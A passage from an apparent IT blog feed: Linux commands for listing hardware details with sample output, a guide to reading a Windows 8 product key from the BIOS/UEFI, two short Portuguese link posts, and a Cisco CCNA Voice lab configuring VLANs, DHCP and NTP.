/0/1/0.0.0/2/8  /dev/sda8   volume      198GiB Linux filesystem partition
/0/3            scsi4       storage     
/0/3/0.0.0      /dev/cdrom  disk        DVD RW DRU-190A

Check out the following post to learn more about lshw

Get hardware information on Linux with lshw command

Hwinfo is another general purpose hardware probing utility that can report detailed and brief information about multiple different hardware components, and more than what lshw can report.

$ hwinfo --short
cpu:                                                            
                       Intel(R) Core(TM)2 Quad CPU    Q8400  @ 2.66GHz, 2000 MHz
                       Intel(R) Core(TM)2 Quad CPU    Q8400  @ 2.66GHz, 2000 MHz
                       Intel(R) Core(TM)2 Quad CPU    Q8400  @ 2.66GHz, 2666 MHz
                       Intel(R) Core(TM)2 Quad CPU    Q8400  @ 2.66GHz, 2666 MHz
keyboard:
  /dev/input/event2    AT Translated Set 2 keyboard
mouse:
  /dev/input/mice      Microsoft Basic Optical Mouse v2.0
graphics card:
                       Intel 965G-1
                       Intel 82G35 Express Integrated Graphics Controller
sound:
                       Intel 82801H (ICH8 Family) HD Audio Controller
storage:
                       Intel 82801H (ICH8 Family) 4 port SATA IDE Controller
                       Intel 82801H (ICH8 Family) 2 port SATA IDE Controller
                       JMicron JMB368 IDE controller
network:
  eth0                 Intel 82566DC Gigabit Network Connection
network interface:
  eth0                 Ethernet network interface
  lo                   Loopback network interface
disk:
  /dev/sda             ST3500418AS
partition:
  /dev/sda1            Partition
  /dev/sda2            Partition
  /dev/sda5            Partition
  /dev/sda6            Partition
  /dev/sda7            Partition
  /dev/sda8            Partition
cdrom:
  /dev/sr0             SONY DVD RW DRU-190A
usb controller:
                       Intel 82801H (ICH8 Family) USB UHCI Controller #4
                       Intel 82801H (ICH8 Family) USB UHCI Controller #5
                       Intel 82801H (ICH8 Family) USB2 EHCI Controller #2
                       Intel 82801H (ICH8 Family) USB UHCI Controller #1
                       Intel 82801H (ICH8 Family) USB UHCI Controller #2
                       Intel 82801H (ICH8 Family) USB UHCI Controller #3
                       Intel 82801H (ICH8 Family) USB2 EHCI Controller #1
bios:
                       BIOS

... TRUNCATED ...

Check out our previous post on hwinfo
Check hardware information on Linux with hwinfo command

The lspci command lists out all the pci buses and details about the devices connected to them.
The vga adapter, graphics card, network adapter, usb ports, sata controllers, etc all fall under this category.

$ lspci
00:00.0 Host bridge: Intel Corporation 82G35 Express DRAM Controller (rev 03)
00:02.0 VGA compatible controller: Intel Corporation 82G35 Express Integrated Graphics Controller (rev 03)
00:02.1 Display controller: Intel Corporation 82G35 Express Integrated Graphics Controller (rev 03)
00:19.0 Ethernet controller: Intel Corporation 82566DC Gigabit Network Connection (rev 02)
00:1a.0 USB controller: Intel Corporation 82801H (ICH8 Family) USB UHCI Controller #4 (rev 02)
00:1a.1 USB controller: Intel Corporation 82801H (ICH8 Family) USB UHCI Controller #5 (rev 02)
00:1a.7 USB controller: Intel Corporation 82801H (ICH8 Family) USB2 EHCI Controller #2 (rev 02)
00:1b.0 Audio device: Intel Corporation 82801H (ICH8 Family) HD Audio Controller (rev 02)
00:1c.0 PCI bridge: Intel Corporation 82801H (ICH8 Family) PCI Express Port 1 (rev 02)
00:1c.1 PCI bridge: Intel Corporation 82801H (ICH8 Family) PCI Express Port 2 (rev 02)
00:1c.2 PCI bridge: Intel Corporation 82801H (ICH8 Family) PCI Express Port 3 (rev 02)
00:1d.0 USB controller: Intel Corporation 82801H (ICH8 Family) USB UHCI Controller #1 (rev 02)
00:1d.1 USB controller: Intel Corporation 82801H (ICH8 Family) USB UHCI Controller #2 (rev 02)
00:1d.2 USB controller: Intel Corporation 82801H (ICH8 Family) USB UHCI Controller #3 (rev 02)
00:1d.7 USB controller: Intel Corporation 82801H (ICH8 Family) USB2 EHCI Controller #1 (rev 02)
00:1e.0 PCI bridge: Intel Corporation 82801 PCI Bridge (rev f2)
00:1f.0 ISA bridge: Intel Corporation 82801HB/HR (ICH8/R) LPC Interface Controller (rev 02)
00:1f.2 IDE interface: Intel Corporation 82801H (ICH8 Family) 4 port SATA Controller [IDE mode] (rev 02)
00:1f.3 SMBus: Intel Corporation 82801H (ICH8 Family) SMBus Controller (rev 02)
00:1f.5 IDE interface: Intel Corporation 82801HR/HO/HH (ICH8R/DO/DH) 2 port SATA Controller [IDE mode] (rev 02)
03:00.0 IDE interface: JMicron Technology Corp. JMB368 IDE controller
04:05.0 FireWire (IEEE 1394): LSI Corporation FW322/323 [TrueFire] 1394a Controller (rev 70)

Filter out specific device information with grep.

$ lspci -v | grep "VGA" -A 12

Lists out the scsi/sata devices like hard drives and optical drives.

$ lsscsi
[3:0:0:0]    disk    ATA      ST3500418AS      CC38  /dev/sda 
[4:0:0:0]    cd/dvd  SONY     DVD RW DRU-190A  1.63  /dev/sr0

This command shows the USB controllers and details about devices connected to them. By default brief information is printed. Use the verbose option "-v" to print detailed information about each usb port

$ lsusb
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 007 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 006 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 005 Device 002: ID 045e:00cb Microsoft Corp. Basic Optical Mouse v2.0
Bus 005 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 004 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 003 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub

On the above system, 1 usb port is being used by the mouse.

Inxi is a 10K line mega bash script that fetches hardware details from multiple different sources and commands on the system, and generates a beautiful looking report that non technical users can read easily.

$ inxi -Fx

List out information all block devices, which are the hard drive partitions and other storage devices like optical drives and flash drives

$ lsblk
NAME   MAJ:MIN RM   SIZE RO TYPE MOUNTPOINT
sda      8:0    0 465.8G  0 disk 
├─sda1   8:1    0    70G  0 part 
├─sda2   8:2    0     1K  0 part 
├─sda5   8:5    0  97.7G  0 part /media/4668484A68483B47
├─sda6   8:6    0  97.7G  0 part /
├─sda7   8:7    0   1.9G  0 part [SWAP]
└─sda8   8:8    0 198.5G  0 part /media/13f35f59-f023-4d98-b06f-9dfaebefd6c1
sr0     11:0    1  1024M  0 rom

Reports various partitions, their mount points and the used and available space on each.

$ df -H
Filesystem      Size  Used Avail Use% Mounted on
/dev/sda6       104G   26G   73G  26% /
none            4.1k     0  4.1k   0% /sys/fs/cgroup
udev            4.2G  4.1k  4.2G   1% /dev
tmpfs           837M  1.6M  835M   1% /run
none            5.3M     0  5.3M   0% /run/lock
none            4.2G   13M  4.2G   1% /run/shm
none            105M   21k  105M   1% /run/user
/dev/sda8       210G  149G   51G  75% /media/13f35f59-f023-4d98-b06f-9dfaebefd6c1
/dev/sda5       105G   31G   75G  30% /media/4668484A68483B47

An improved df version written in python, that displays colored output that looks better than df

$ pydf
Filesystem Size Used Avail Use%          Mounted on                                 
/dev/sda6   96G  23G   68G 24.4 [#.....] /                                          
/dev/sda8  195G 138G   47G 70.6 [####..] /media/13f35f59-f023-4d98-b06f-9dfaebefd6c1
/dev/sda5   98G  28G   69G 29.2 [##....] /media/4668484A68483B47

Fdisk is a utility to modify partitions on hard drives, and can be used to list out the partition information as well.

$ sudo fdisk -l

Disk /dev/sda: 500.1 GB, 500107862016 bytes
255 heads, 63 sectors/track, 60801 cylinders, total 976773168 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x30093008

   Device Boot      Start         End      Blocks   Id  System
/dev/sda1   *          63   146801969    73400953+   7  HPFS/NTFS/exFAT
/dev/sda2       146802031   976771071   414984520+   f  W95 Ext'd (LBA)
/dev/sda5       146802033   351614654   102406311    7  HPFS/NTFS/exFAT
/dev/sda6       351614718   556427339   102406311   83  Linux
/dev/sda7       556429312   560427007     1998848   82  Linux swap / Solaris
/dev/sda8       560429056   976771071   208171008   83  Linux

The mount is used to mount/unmount and view mounted file systems.

$ mount | column -t
/dev/sda6    on  /                                            type  ext4             (rw,errors=remount-ro)
proc         on  /proc                                        type  proc             (rw,noexec,nosuid,nodev)
sysfs        on  /sys                                         type  sysfs            (rw,noexec,nosuid,nodev)
none         on  /sys/fs/cgroup                               type  tmpfs            (rw)
none         on  /sys/fs/fuse/connections                     type  fusectl          (rw)
none         on  /sys/kernel/debug                            type  debugfs          (rw)
none         on  /sys/kernel/security                         type  securityfs       (rw)
udev         on  /dev                                         type  devtmpfs         (rw,mode=0755)
devpts       on  /dev/pts                                     type  devpts           (rw,noexec,nosuid,gid=5,mode=0620)
tmpfs        on  /run                                         type  tmpfs            (rw,noexec,nosuid,size=10%,mode=0755)
none         on  /run/lock                                    type  tmpfs            (rw,noexec,nosuid,nodev,size=5242880)
none         on  /run/shm                                     type  tmpfs            (rw,nosuid,nodev)
none         on  /run/user                                    type  tmpfs            (rw,noexec,nosuid,nodev,size=104857600,mode=0755)
none         on  /sys/fs/pstore                               type  pstore           (rw)
/dev/sda8    on  /media/13f35f59-f023-4d98-b06f-9dfaebefd6c1  type  ext4             (rw,nosuid,nodev,errors=remount-ro)
/dev/sda5    on  /media/4668484A68483B47                      type  fuseblk          (rw,nosuid,nodev,allow_other,blksize=4096)
binfmt_misc  on  /proc/sys/fs/binfmt_misc                     type  binfmt_misc      (rw,noexec,nosuid,nodev)
systemd      on  /sys/fs/cgroup/systemd                       type  cgroup           (rw,noexec,nosuid,nodev,none,name=systemd)
gvfsd-fuse   on  /run/user/1000/gvfs                          type  fuse.gvfsd-fuse  (rw,nosuid,nodev,user=enlightened)

Again, use grep to filter out only those file systems that you want to see

$ mount | column -t | grep ext

Check the amount of used, free and total amount of RAM on system with the free command.

$ free -m
             total       used       free     shared    buffers     cached
Mem:          7975       5865       2110          0         24        622
-/+ buffers/cache:       5218       2757
Swap:         1951        921       1030

The dmidecode command is different from all other commands. It extracts hardware information by reading data from the SMBOIS data structures (also called DMI tables).

# display information about the processor/cpu
$ sudo dmidecode -t processor

# memory/ram information
$ sudo dmidecode -t memory

# bios details
$ sudo dmidecode -t bios

Check out the man page for more details.

Many of the virtual files in the /proc directory contain information about hardware and configurations. Here are some of them

CPU/Memory information

# cpu information
$ cat /proc/cpuinfo

# memory information
$ cat /proc/meminfo

Linux/kernel information

$ cat /proc/version
Linux version 3.11.0-12-generic (buildd@allspice) (gcc version 4.8.1 (Ubuntu/Linaro 4.8.1-10ubuntu7) ) #19-Ubuntu SMP Wed Oct 9 16:20:46 UTC 2013

SCSI/Sata devices

$ cat /proc/scsi/scsi 
Attached devices:
Host: scsi3 Channel: 00 Id: 00 Lun: 00
  Vendor: ATA      Model: ST3500418AS      Rev: CC38
  Type:   Direct-Access                    ANSI  SCSI revision: 05
Host: scsi4 Channel: 00 Id: 00 Lun: 00
  Vendor: SONY     Model: DVD RW DRU-190A  Rev: 1.63
  Type:   CD-ROM                           ANSI  SCSI revision: 05

Partitions

$ cat /proc/partitions 
major minor  #blocks  name

   8        0  488386584 sda
   8        1   73400953 sda1
   8        2          1 sda2
   8        5  102406311 sda5
   8        6  102406311 sda6
   8        7    1998848 sda7
   8        8  208171008 sda8
  11        0    1048575 sr0

The hdparm command gets information about sata devices like hard disks.

$ sudo hdparm -i /dev/sda

/dev/sda:

 Model=ST3500418AS, FwRev=CC38, SerialNo=9VMJXV1N
 Config={ HardSect NotMFM HdSw>15uSec Fixed DTR>10Mbs RotSpdTol>.5% }
 RawCHS=16383/16/63, TrkSize=0, SectSize=0, ECCbytes=4
 BuffType=unknown, BuffSize=16384kB, MaxMultSect=16, MultSect=16
 CurCHS=16383/16/63, CurSects=16514064, LBA=yes, LBAsects=976773168
 IORDY=on/off, tPIO={min:120,w/IORDY:120}, tDMA={min:120,rec:120}
 PIO modes:  pio0 pio1 pio2 pio3 pio4 
 DMA modes:  mdma0 mdma1 mdma2 
 UDMA modes: udma0 udma1 udma2 udma3 udma4 udma5 *udma6 
 AdvancedPM=no WriteCache=enabled
 Drive conforms to: unknown:  ATA/ATAPI-4,5,6,7

 * signifies the current active mode

Each of the command has a slightly different method of extracting information, and you may need to try more than one of them, while looking for specific hardware details. However they are available across most linux distros, and can be easily installed from the default repositories.

On the desktop there are gui tools, for those who do not want to memorise and type commands. Hardinfo, I-nex are some of the popular ones that provide detailed information about multiple different hardware components.

delciomz@hotmail.com (D.White) — Mon, 25 Jan 2016 10:16:00 +0200

Sometimes you need your Windows 8 Product Key, In Versions prior to Windows 8 this was fairly easy you could just look at the Product key sticker on your Computer. But since Windows 8 Microsoft made a change. Most likely you won’t have a product sticker anymore. Instead they save the Product key in your BIOS/UEFI. This is a pretty nice feature, since now when you reinstall windows 8 it will automatically retrieve your Product Key from the BIOS/UEFI. But Retrieving the Product key on your own got a bit more complicated. But luckily we can still extract it. If you are not able to boot up windows, look at the last part of Method 1 this will describe a method which does not require a installed version of windows.

Method 1:

Download RW-EVERYTHING. The download can be found here: http://rweverything.com/download/ the easiest way is to choose the RWPortable version. Make sure you choose the right one for your version of Windows. When downloaded extract the ZIP file. And execute “RW.exe”

Click on the ACPI Table button at the top. After that click on the MSDM tab. Your BIOS’s product key is at the bottom.

If you are for some reason unable to boot up windows, we can try another way. This involves HirensBootCD which can be downloaded here: http://www.hirensbootcd.org/download/ this will download an .ISO which you will need to burn onto a CD or alternatively make a bootable USB. I am going to assume you already know how to Burn an image to a CD. If not you can have a look here: http://windows.microsoft.com/en-gb/windows7/burn-a-cd-or-dvd-from-an-iso-file

Now boot off the CD/USB and select Mini Windows XP, this will boot a minimal version of Windows XP right of your CD. After this you can insert a USB with the RWportable 32 bit version on it. And Extract the product key the same way as explained above. If you don’t know how to boot from a CD/USB have a look here: http://lifehacker.com/5991848/how-to-boot-from-a-cd-or-usb-drive-on-any-pc

Method 2:

The second option is probably a bit easier. The guys at Mydigitallife.info made a nice little tool that can extract the product code. You can find the tool here:

NOTE: Unlinked due to Adware, proceed at your own risk

http://forums.mydigitallife.info/threads/30363-Windows-8-Product-Key-Viewer?p=510104&viewfull=1#post510104

When downloaded extract the .rar file. And open it up to extract the product code stored in the BIOS/UEFI select the MSDM KEY option.

Method 3:

Christian Korneck made a script that can be run from within windows, this will also extract the Product code from within the Firmware. You can get the necessary files on Github:

https://github.com/christian-korneck/get_win8key#files

Download the get_win8key.exe and save it on an easy to remember location like C:\Win8key now open up a PowerShell Shell. In windows 8 you can easily find this by going to start and just type PowerShell.

Now type:

& "C:\win8key\get_win8key.exe"

(Including the & sign)

I hope this helped.

IT Solutions Blog

delciomz@hotmail.com (D.White) — Mon, 25 Jan 2016 09:59:00 +0200

Aprenda a criar scrips no seu router Mikrotik atravez do link abaixo

Mikrotik Scrips

delciomz@hotmail.com (D.White) — Mon, 25 Jan 2016 09:57:00 +0200

Crie seu fax2email, para que receba fax no seu email

FAX2EMAIL

delciomz@hotmail.com (D.White) — Mon, 25 Jan 2016 08:52:00 +0200

In both Cisco Unified Communications Manager Express (CUCME) and Cisco Unified Communications Manager (CUCM) environments, phones need to connect to the network to receive services such as IP addresses from DHCP, VLAN assignments for voice traffic, IP information on where to register, and Network Time Protocol (NTP) packets. This chapter focuses on establishing those services.

In this chapter, you will set up a voice network for the fictitious company Shiny Objects Incorporated (SOI). Before phones are connected, you must establish network connectivity and configure needed services.

Equipment Required

This lab uses the following equipment:

Cisco router
Switch that supports voice VLANs
PC for testing
Cisco IP Phone (optional, but useful if switch supports Power over Ethernet [PoE])

Learning Objectives

Upon completion of this lab, you will be able to

Perform basic router and switch configuration
Configure VLANs to support data, voice, and network management traffic
Configure VLAN trunking between a router and a switch using subinterfaces
Configure router-based DHCP pools for voice and data devices

Scenario

SOI would like to establish its new data network with the expectation of using VoIP in the near future.

These instructions refer to the Pod Addressing Table in Appendix A to determine the IP addresses and VLAN numbers used for your pod. Wherever an x is shown, substitute the pod number.

Because the CCNA is a prerequisite for the CCNA-Voice certification exam, this book assumes that you are familiar with clearing prior configurations.

Clear any prior configuration on the router and switch, and delete the vlan.dat file before reloading both devices.

Cable router interface Fast Ethernet 0/0 to switch port Fast Ethernet 0/1, as shown inFigure 3-1. The PC will be connected later.

Figure 3-1. Topology Diagram

This task establishes the basic configuration commands on both the router and switch.

Router(config)# hostname RtrPodx

For example, Pod 8 would use hostname RtrPod8.

RtrPodx(config)# no ip domain-lookup
RtrPodx(config)# enable secret class
RtrPodx(config)# line con 0
RtrPodx(config-line)# logging synchronous
RtrPodx(config-line)# exec-timeout 120 0
RtrPodx(config-line)# password cisco
RtrPodx(config-line)# login
RtrPodx(config-line)# line vty 0 15
RtrPodx(config-line)# password cisco
RtrPodx(config-line)# login
RtrPodx(config-line)# exit

Switch(config)# hostname SwPodx

For example, Pod 3 would use hostname SwPod3

SwPodx(config)# no ip domain-lookup
SwPodx(config)# enable secret class
SwPodx(config)# line con 0
SwPodx(config-line)# logging synchronous
SwPodx(config-line)# exec-timeout 120 0
SwPodx(config-line)# password cisco
SwPodx(config-line)# login
SwPodx(config-line)# line vty 0 15
SwPodx(config-line)# password cisco
SwPodx(config-line)# login
SwPodx(config-line)# exit

For the purposes of security and ease of implementing quality of service (QoS), use VLANs to keep voice traffic separate from other traffic.

Create and name VLANs for data, voice, and network management.

SwPodx(config)# vlan x0
SwPodx(config-vlan)# name Data
SwPodx(config-vlan)# vlan x1
SwPodx(config-vlan)# name Management
SwPodx(config-vlan)# vlan x5
SwPodx(config-vlan)# name Voice
SwPodx(config-vlan)# exit

Configure the trunk port that connects the switch to the router. Layer 3 switches (such as the Cisco Catalyst 3560) require that the trunking protocol be specified with the switchport trunk encapsulation command before the interface can be set as a trunk. If you are using a Layer 2 switch (such as a Cisco Catalyst 2950 or 2960), the command is not needed and will be rejected.

NOTE

Cisco recommends in the “VLAN Security White Paper,” to prevent a double-encapsulated 802.1Q/nested VLAN attack, “always pick an unused VLAN as the native VLAN of all the trunks; don’t use this VLAN for any other purpose. Protocols like STP, DTP, and UDLD should be the only rightful users of the native VLAN and their traffic should be completely isolated from any data packets.” For this reason, the management VLAN is not the native VLAN in this lab. To improve security, it would be better to create another VLAN as the native VLAN that will remain unused, but to simplify this lab, it is not covered.

SwPodx(config)# interface fastethernet 0/1
SwPodx(config-if)# switchport trunk encapsulation dot1q
SwPodx(config-if)# switchport mode trunk
SwPodx(config-if)# exit

Almost all Cisco IP Phones are designed with a three-port switch built inside (one physical port connected to the production switch, one physical port for a PC to connect to the phone, and one internal port for the phone itself). This built-in switch saves money in wiring costs, as existing phone cabling might not meet networking standards. This enables an existing computer to be plugged into the phone, and the phone connects to the switch in the wiring closet.

Prior to the introduction of voice VLANs, a trunk connected an IP Phone to the switch to keep the voice and data traffic separate. Current best practice configures the ports connected to phones and PCs to use access mode but adds a secondary voice VLAN. The switch ports use the access VLAN to send data traffic as untagged frames. However, if the switch detects a Cisco IP Phone using Cisco Discovery Protocol (CDP), it will inform the phone of the VLAN used for voice traffic, which will be tagged using 802.1q. This creates a pseudotrunk that allows only the data and voice VLANs on the link.

Use the interface range command to assign settings. This is the fastest way to assign settings to more than one switch port at a time.

SwPodx(config)# interface range fastethernet 0/2 – 24
SwPodx(config-if-range)# switchport mode access
SwPodx(config-if-range)# switchport access vlan x0
SwPodx(config-if-range)# switchport voice vlan x5
SwPodx(config-if-range)# exit

SwPod11# show run



interface FastEthernet0/1
 switchport trunk encapsulation dot1q
 switchport mode trunk
!
interface FastEthernet0/2
 switchport access vlan 110
 switchport mode access
 switchport voice vlan 115
 spanning-tree portfast

Set up an interface to manage the switch remotely.

SwPodx(config)# interface vlan x1
SwPodx(config-if)# ip address 10.x1.0.2 255.255.255.0
SwPodx(config-if)# exit
SwPodx(config)# ip default-gateway 10.x1.0.1

Subinterfaces allow the VLANs to cross a trunk link to the router. Each subinterface will be the default gateway for a paired subnet. When using subinterfaces on a router, it is necessary to assign the correct VLAN to the subinterface before an IP address can be entered. Because there are three VLANs, you need three subinterfaces.

RtrPodx(config-if)# interface fastethernet 0/0.x0
RtrPodx(config-subif)# encapsulation dot1Q x0
RtrPodx(config-subif)# description Data VLAN
RtrPodx(config-subif)# ip address 10.x0.0.1 255.255.255.0

RtrPodx(config-subif)# interface fastethernet 0/0.x1
RtrPodx(config-subif)# encapsulation dot1Q x1
RtrPodx(config-subif)# description Management VLAN
RtrPodx(config-subif)# ip address 10.x1.0.1 255.255.255.0

RtrPodx(config-subif)# interface fastethernet 0/0.x5
RtrPodx(config-subif)# encapsulation dot1Q x5
RtrPodx(config-subif)# description Voice VLAN
RtrPodx(config-subif)# ip address 10.x5.0.1 255.255.255.0
RtrPodx(config-subif)# exit

RtrPodx(config)# interface fastethernet 0/0
RtrPodx(config-if)# no shutdown

Check the configuration to determine whether it matches what you expect. This will help to avoid future problems.

Use the show vlan brief command to verify the VLAN configuration. This output is from Pod 11; your output will have different VLAN numbers. Notice that Fa0/1 is a trunk port and as such does not have a VLAN assigned to it, so it will not show in the output.

SwPod11# show vlan
VLAN Name                             Status    Ports
---- -------------------------------- --------- -------------------------------
1    default                          active    Gi0/1, Gi0/2
110  Data                             active    Fa0/2, Fa0/3, Fa0/4, Fa0/5
                                                Fa0/6, Fa0/7, Fa0/8, Fa0/9
                                                Fa0/10, Fa0/11, Fa0/12, Fa0/13
                                                Fa0/14, Fa0/15, Fa0/16, Fa0/17
                                                Fa0/18, Fa0/19, Fa0/20, Fa0/21
                                                Fa0/22, Fa0/23, Fa0/24
111  Management                       active
115  Voice                            active    Fa0/2, Fa0/3, Fa0/4, Fa0/5
                                                Fa0/6, Fa0/7, Fa0/8, Fa0/9
                                                Fa0/10, Fa0/11, Fa0/12, Fa0/13
                                                Fa0/14, Fa0/15, Fa0/16, Fa0/17
                                                Fa0/18, Fa0/19, Fa0/20, Fa0/21
                                                Fa0/22, Fa0/23, Fa0/24
1002 fddi-default                     act/unsup
1003 token-ring-default               act/unsup
1004 fddinet-default                  act/unsup
1005 trnet-default                    act/unsup

Use the show interfaces switchport command to verify the configuration of trunk and access ports. This output is from Pod 11; your output will have different VLAN numbers. Notice that Fa0/1 is a trunk port, while Fa0/2 is a static access port and has a voice VLAN assigned to it.

SwPod11# show interfaces switchport
Name: Fa0/1
Switchport: Enabled
Administrative Mode: trunk
Operational Mode: trunk
Administrative Trunking Encapsulation: dot1q
Operational Trunking Encapsulation: dot1q
Negotiation of Trunking: On
Access Mode VLAN: 1 (default)
Trunking Native Mode VLAN: 1 (default)
Administrative Native VLAN tagging: enabled
Voice VLAN: none



Name: Fa0/2
Switchport: Enabled
Administrative Mode: static access
Operational Mode: down
Administrative Trunking Encapsulation: negotiate
Negotiation of Trunking: Off
Access Mode VLAN: 110 (Data)
Trunking Native Mode VLAN: 1 (default)
Administrative Native VLAN tagging: enabled
Voice VLAN: 115 (Voice)

Use the show ip interface brief command to verify that the trunk is assigned correctly. This output is from Pod 11; your output will have different subinterface and IP address numbers.

RtrPod11# show ip interface brief
Interface                  IP-Address      OK? Method  Status                Protocol
FastEthernet0/0            unassigned      YES unset   up                    up
FastEthernet0/0.110        10.110.0.1      YES manual  up                    up
FastEthernet0/0.111        10.111.0.1      YES manual  up                    up
FastEthernet0/0.115        10.115.0.1      YES manual  up                    up

While phones and PCs can be assigned IP addresses statically, DHCP can automatically assign IP address leases. Additionally, DHCP can provide additional information to clients, allowing them to locate necessary resources on the network at the same time they receive an IP address. Using the router as a DHCP server is a quick way to provide DHCP services to clients.

The DHCP option 150 tells Cisco IP Phones the IP address of the TFTP server with the initial configuration file. When using CUCME, the router is the TFTP server by default. This lab assigns the default gateway IP address as the option 150 address, as there is only one way to reach the call agent in this network.

Always enter the ip dhcp exclude address command before a DHCP pool is created. This avoids IP addresses that should be excluded from being assigned to devices. Enter thenetwork statement as the last command in the pool. Otherwise, if devices are connected, they are assigned an IP address by DHCP right after the network statement is entered, even if the default gateway and option 150 are not configured. This can make troubleshooting difficult, as the PCs and phones will receive IP addresses, but the phones will not register and the PCs will not communicate outside their own subnet without the default router (gateway) address.

Create DHCP pools for both the data and voice networks. While it might seem that option 150 is irrelevant in data VLANs, with software on a PC able to emulate a phone (such as the Cisco IP Communicator software), it makes sense to include it for both DHCP pools.

RtrPodx(config)# ip dhcp excluded-address 10.x0.0.1 10.x0.0.10
RtrPodx(config)# ip dhcp pool Data
RtrPodx(dhcp-config)# default-router 10.x0.0.1
RtrPodx(dhcp-config)# option 150 ip 10.x0.0.1
RtrPodx(dhcp-config)# network 10.x0.0.0 255.255.255.0
RtrPodx(dhcp-config)# exit
RtrPodx(config)# ip dhcp excluded-address 10.x5.0.1 10.x5.0.10
RtrPodx(config)# ip dhcp pool Voice
RtrPodx(dhcp-config)# default-router 10.x5.0.1
RtrPodx(dhcp-config)# option 150 ip 10.x5.0.1
RtrPodx(dhcp-config)# network 10.x5.0.0 255.255.255.0
RtrPodx(dhcp-config)# exit

Connect a PC to the switch. Verify that the PC is assigned an IP address from the 10.x0.0.0 /24 subnet. Verify that the PC can telnet to both the router and the switch management IP addresses. If not, troubleshoot the configuration.

Save the configurations into a text file for both the router and switch. They will be needed for future labs.

If you have a switch that is PoE capable and a Cisco IP Phone or two, monitor the console port of the switch and connect the jack on the phone labeled SW to a switch port. SeeFigure 3-2 for an example.

Figure 3-2. Cisco IP Phone Connections

If you connect an older Cisco IP Phone (a 7960, for example) that supports only Cisco-proprietary inline power, you might see a message like this on the switch console line:

*Mar  1 05:23:55.900: %ILPOWER-7-DETECT: Interface Fa0/3: Power Device detected:
  Cisco PD
*Mar  1 05:23:55.976: %ILPOWER-5-POWER_GRANTED: Interface Fa0/3: Power granted

If you connect a newer Cisco IP Phone (a 7975, for example) that supports the IEEE 802.1af standard, you might see a message like this on the switch console line:

* Mar  1 05:23:55.858: %ILPOWER-7-DETECT: Interface Fa0/4: Power Device detected:
  IEEE PD
Mar  1 05:23:55.942: %ILPOWER-5-POWER_GRANTED: Interface Fa0/4: Power granted

When verifying PoE usage or troubleshooting phone power problems, you can see the existing PoE usage with the show power inline command. Knowing the remaining PoE capacity is important, as Cisco sells some switch models that do not have enough PoE to fully power all ports, such as the 24-port Catalyst 2960-24LT-L that supports only eight PoE devices at 15.4 watts.

In this output from Pod 11, there are two Cisco IP Phones attached, consuming 18.3 watts, with 351.7 watts of PoE capacity left on this switch. The 7960 phone (6.3 watts) does not have a PoE class, as it does not support 802.1af, while the 7975 phone (12.0 watts) shows as an IEEE PoE Class 3 device.

SwPod11# show power inline
Available:370.0(w)  Used:18.3(w)  Remaining:351.7(w)

Interface Admin  Oper       Power   Device              Class Max
                            (Watts)
--------- ------ ---------- ------- ------------------- ----- ----
Fa0/1     auto   off        0.0     n/a                 n/a   15.4
Fa0/2     auto   off        0.0     n/a                 n/a   15.4
Fa0/3     auto   on         6.3     IP Phone 7960       n/a   15.4
Fa0/4     auto   on         12.0    IP Phone 7975       3     15.4
Fa0/5     auto   off        0.0     n/a                 n/a   15.4
Fa0/6     auto   off        0.0     n/a                 n/a   15.4

At this point, the phones should be attempting to register and will display a message such as “Registering” or “Configuring CM List” (the message will vary depending on the phone model and the version of firmware on the phone). If the phones show “Configuring IP” for more than a few seconds, the DHCP service is not functioning. The messages displayed on the phones are useful information when troubleshooting.

Figure 3-3. Topology Diagram

Equipment Required

This lab uses the following equipment:

Cisco router (and a second Cisco router if Internet access is not allowed from the first router)
Switch that supports voice VLANs

Learning Objectives

Upon completion of this lab, you will be able to configure Network Time Protocol (NTP).

Scenario

SOI wants its new data network to use NTP to synchronize time for network devices.

NTP is not only important for synchronizing the time in network device event logs, but also for VoIP to show the correct time on the display of the phones and record the correct timestamp on voicemails, among other uses. The best way to keep everything synchronized is to use an NTP server to coordinate time.

This lab has instructions for two options:

Option A assumes access to a production network that can reach an NTP server on the Internet.
Option B configures another Cisco router to provide NTP time to simulate an Internet NTP server.

These instructions refer to the Pod Addressing Table in Appendix A to determine the IP addresses and VLAN numbers used for your pod. Wherever an x is shown, substitute the pod number.

Use the configuration from Lab 3-1. If necessary, load the configuration for both the switch and router.

NTP is calculated using UTC (Greenwich Mean Time), but you might want to see the time displayed on the router and phones using your local time zone.

RtrPodx(config)# clock timezone timezone offset-from-GMT

For example, U.S. Central Daylight Time would use clock timezone cdt -6.

RtrPodx(config)# clock summer-time zone recurring

For example, U.S. Central Daylight Time would use clock summer-time cdt recurring.

By manually setting the clock close to the correct time, you reduce the amount of time it takes to synchronize with the NTP server. Ideally, you should be within a minute or two of the correct time.

Use the privileged EXEC mode command clock set to manually set time:

RtrPodx# clock set hh:mm:ss day month year

For example, if the current day is Thursday, August 16, 2012 and the time is 9:40 p.m., you would enter clock set 21:40:00 16 August 2012.

(Proceed to Step 1-4 [Option B] if you do not have access to the Internet.)

Configure an interface on the router to reach the Internet. The commands in this step assume that Fast Ethernet 0/1 is cabled to a production network with Internet access and a DHCP server that will assign IP addresses to the router.

RtrPodx(config)# interface fastethernet 0/1
RtrPodx(config-if)# ip address dhcp
RtrPodx(config-if)# no shutdown
RtrPodx(config-if)# exit
RtrPodx(config)# ip route 0.0.0.0 0.0.0.0 gateway-of-Fa0/1-network

A list of NTP stratum two servers can be found at www.ntp.org(http://support.ntp.org/bin/view/Servers/StratumTwoTimeServers). After selecting one close to you, use the ntp server command:

RtrPodx(config)# ntp server ntp_server_IP_address

Skip Step 1-4 (Option B) and go to Step 1-5 to verify NTP operation.

(Skip this step if you completed Option A.)

The commands in this step assume that Fast Ethernet 0/1 on the voice router is cabled to another Cisco router. (A serial interface could also be used, but the Ethernet interfaces do not require any additional hardware.)

First, configure the other router to connect to the voice router.

Router(config)# hostname NTP_Server
NTP_Server(config)# interface fastethernet 0/0
NTP_Server(config-if)# ip address 192.168.0.1 255.255.255.0
NTP_Server(config-if)# no shutdown
NTP_Server(config-if)# exit

